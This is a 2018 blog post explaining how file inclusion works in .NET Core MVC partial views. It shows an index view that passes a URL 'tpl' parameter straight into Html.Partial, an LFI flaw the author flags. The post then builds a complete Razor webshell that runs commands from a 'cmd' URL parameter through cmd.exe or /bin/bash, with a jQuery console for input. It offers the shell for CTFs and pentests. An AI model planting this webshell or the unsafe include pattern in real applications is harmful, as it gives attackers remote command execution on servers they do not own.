September 8, 2018

Building a .NET Core MVC Webshell

Some time ago I decided to create a dotnet core webshell. The idea came from a co-worker, who while participating in security hackathon, mentioned how difficult it is to find .NET webshells for LFI and RFI attacks. This is true, as most webshells that you can find online are for PHP, as web penetration testing is usually taught with vulnerable PHP web applications. I decided to try to solve this problem and share the code with whoever stumbles upon this post.

Now, before looking at the code for the webshell it helps to understand how webshells fit within a .NET core context.

Dotnet Core File Inclusions

Most web applications nowadays are built in a modular fashion. Rather than having to duplicate frontend code and markdown in multiple places, developers use what in the .NET world is called partial views. This allows developers to, for instance, write the markdown and code for a menu header once, inject it a file that contains the basic skeleton of the web page, and not to have to worry about it again (for the most part anyways). This pattern has been widely used for years as it is the basis for creating SPAs (not that kind of SPA, but Single Page Applications). If you’ve never written code for web application, this may sound a bit complicated at first but if we dive in the code you may find the concept is relatively simple.

Let’s take a look at the _Layout.cshtml page of a .NET core application

<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>@ViewData["Title"]</title>

    <environment names="Development">
        <link rel="stylesheet" href="~/lib/bootstrap/dist/css/bootstrap.css" />
        <link rel="stylesheet" href="~/css/site.css" />
    </environment>
</head>
<body>
    <nav class="navbar navbar-inverse navbar-fixed-top">
        <div class="container">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                    <span class="sr-only">Toggle navigation</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                <a asp-area="" asp-controller="Home" asp-action="Index" class="navbar-brand">MVCShell</a>
            </div>
            <div class="navbar-collapse collapse">
                <ul class="nav navbar-nav">
                    <li><a asp-area="" asp-controller="Home" asp-action="Index">Home</a></li>
                    <li><a asp-area="" asp-controller="Home" asp-action="About">About</a></li>
                    <li><a asp-area="" asp-controller="Home" asp-action="Contact">Contact</a></li>
                </ul>
            </div>
        </div>
    </nav>
    <div class="container body-content">
        @RenderBody()
        <hr />
        <footer>
            <p>&copy; 2017</p>
        </footer>
    </div>

    <environment names="Development">
        <script src="~/lib/jquery/dist/jquery.js"></script>
        <script src="~/lib/bootstrap/dist/js/bootstrap.js"></script>
        <script src="~/js/site.js" asp-append-version="true"></script>
    </environment>

    @RenderSection("Scripts", required: false)
</body>
</html>

There is a lot in this page, right? We only want to have to write it once. Moreover, it would be ideal if all this code didn’t have to reload and re-render every time you access a new page. This is why this is called the _Layout.cshtml page. This contains the basic components of our application including the header, menu and footer, which should be seen in every page of the application. Now, notice this section:

    <div class="container body-content">
        @RenderBody()
        <hr />
        <footer>
            <p>&copy; 2018</p>
        </footer>
    </div>

We can render any other page our fancy application needs in @RenderBody() inside a container without having to rewrite everything that you see above. Now let’s take a look at an example of what would be rendered inside a @RenderBody():

@{
    ViewData["Title"] = "Home Page";
    // Get the template path from the URL
    var tplView = Context.Request.Query["tpl"];
}

<div class="row">
    <div>
        @if(!String.IsNullOrEmpty(tplView)){
                // Render the template
                @Html.Partial(@tplView);
        }
    </div>
</div>

Above we have the code for index.cshtml. While the _Layout.cshtml page contains our header, menu and footer, the index page can render the basic structure for the body of each page. In this case, the above code will render partial views based on menu items that the users of the page may click on. Interestingly, in this case, the code will store the template path in the tplView variable, which is grabbed from the url parameters of the request as shown below:

    // Get the template path from the URL
    var tplView = Context.Request.Query["tpl"];

This is of course a bad coding practice given that gives users control as to what template gets injected in @Html.Partial(@tplView) by manipulating the URL parameters. This is a clear example of a Local File Inclusion vulnerability. However, the code above could look like this instead:

<div class="row">
    <div>
        <partial name="~/Views/Folder/_FancyWidgetcshtml" />
        <partial name="/Views/Folder/_SocialMediaWidget.cshtml" />
    </div>
</div>

In the above case, the partial view paths are hard coded by the programmer. Because .cshtml pages are rendered in the server, users have no way of changing /Views/Folder/_SocialMediaWidget.cshtml to `/Views/Folder/../../secrets.cshtml (though of course, there may be ways around this is some instances).

Building a Dotnet Core Webshell

Ok, now let’s say that we can not only control which partial views get rendered but we can also store our own code in the server. When is that possible? This can occur if for instance, the web page is highly customizable and allows user or clients to save their own templates for the web page. This is common in Content Management System (CMS) applications, but I have seen this “feature” in other application where the developers want to provide a lot of customization options to their clients by allowing them to save web templates using forms created for those purposes.

Let go ahead and use Razor syntax to build a fancy webshell. The first thing that we would write is a way for us to get, well, a shell!

We can start by writing the following code block at the beginning of the page so that we can pass OS commands in the URL:

@using System
@using System.Diagnostics

@{ 
    ViewData["Title"] = "MVC Sh3ll";
    var result = "";
    var cmd = Context.Request.Query["cmd"]; //Grab the value of the "cmd" parameter from the URL
    if (!String.IsNullOrEmpty(cmd)){
        result = Bash(cmd); //pass the value of cmd to a a custom `Bash` function
    }

    if (String.IsNullOrEmpty(result)){
        result = "Invalid command or something didn't work";
    }

}

If we know the page is hosted in Windows, we can write a Bash() C# function that can run DOS commands. This code needs live inside a view file (a .cshtml file rather than a .cs class), so we must declare our function inside a @functions block:

@functions{
    public static string Bash (string cmd)
    {
        var result = "";
        var escapedArgs = cmd.Replace("\"", "\\\"");
        var process = new Process()
        {
            StartInfo = new ProcessStartInfo
            {
                FileName = "cmd.exe",  //run commands using the cmd process
                Arguments = $"/C \"{escapedArgs}\"", //Grab commands from the URL
                RedirectStandardOutput = true,
                UseShellExecute = false,
                CreateNoWindow = true,   //no need for window to open on the server!
            }
        };

        process.Start();
        result = process.StandardOutput.ReadToEnd();
        process.WaitForExit();

        return result;  //print the result of our DOS command
    }
}

But .NET Core applications can now run on Linux too (w00t!), so we can instead write a function like this:

@functions{
    public static string Bash (string cmd)
    {
        var result = "";
        var escapedArgs = cmd.Replace("\"", "\\\"");
        var process = new Process()
        {
            StartInfo = new ProcessStartInfo
            {
                FileName = "/bin/bash", //use /bin/bash to run our command
                Arguments = $"-c \"{escapedArgs}\"", //pass parameters with the -c flag
                RedirectStandardOutput = true,
                UseShellExecute = false,
                CreateNoWindow = true,
            }
        };

        process.Start();
        result = process.StandardOutput.ReadToEnd();
        process.WaitForExit();

        return result;
    }
}

But hey, we are trying to build a fancy schmancy webshell, so we don’t want to have to keep typing our commands in the address bar. We are going to need a way to type our commands in the page. We can accomplish that that with a jQuery block:

//Include jquery in case not loaded by default
<script
  src="https://code.jquery.com/jquery-3.2.1.min.js"
  integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
  crossorigin="anonymous"></script>
<script>
$(function() {
    var cmdResult = $("#cmdResult");

    if (cmdResult.text() === "Invalid command or something didn't work"){
        console.log("should change text");
        cmdResult.css("color", "red");
    }
    
    var term = $("#console");
    $("#cmd").focus();
    term.scrollTop(term.prop("scrollHeight"));
    
    $.urlParam = function(name){
        var results = new RegExp('[\?&]' + name + '=([^&#]*)').exec(window.location.href);
        if (results==null){
           return null;
        }
        else{
           return decodeURI(results[1]) || 0;
        }
    }

    // This function simply grabs the command typed in an input field,
    // adds the command to a url string and opens that page in the browser.
    // The command can the be grabbed by the C# we wrote above
    function executeCmd(){
        var cmd = encodeURIComponent($("#cmd").val());
        var currentCmd = $.urlParam('cmd'); 

        var currentUrl = location.href;

        var paramDelimeter = "";
        if (currentUrl.indexOf("?") < 0){
            paramDelimeter = "?";
        } else {
            paramDelimeter = "&";
        }
        
        if (currentUrl.indexOf("cmd=") < 0){
            currentUrl = location.href + paramDelimeter + "cmd=";
        }
    
        var newUrl = currentUrl.replace(/cmd=.*/, "cmd="+cmd);
        window.location.href = newUrl;
    }
     
    //Submit command button action
    $("#submitCommand").click(function(){
        executeCmd();
    })

    //call executeCmd when pressing return 
    $("#cmd").keypress(function (e) {
        if (e.which == 13) {
            executeCmd();
            return false;
        }
    });

    //caputure input as it is typed and diplay it on the screen
    $("#cmd").on("change paste keyup", function(theVal){
        var cmd = $("#cmd").val();
        $("#cmdInput").text(cmd);
    });
});

</script>

Finally, let’s write the HTML content of the page:

<h3>@ViewData["Title"].</h3>
<h4>@ViewData["Message"]</h4>
<h4>Output for:> <span style="font-family: monospace; font-weight: normal;">@cmd</span></h4>

<pre id="console" style="color: #00ff00;background-color: #141414;max-height: 606px;">
C#:>@cmd
    
<span id="cmdResult">@result</span>
    
C#:><span id="cmdInput"></span>
</pre>

<br />

<p>Enter your command below:</p>
<span style="display: inline-flex !important;">
    <input  id="cmd" class="form-control" type="text" style="width: 400px;" /> 
    <button id="submitCommand" class="btn btn-primary">Send!</button>
</span>

The result looks like this:

And that is it! Hopefuly you can find a chance to use this webshell while playing CTFs or during a pentest engagement. You can find the entire webshell here. I also wrote a full dotnet core solution that you can modify and play with to better learn the concepts taught in this post here

© Dharma of Code 2018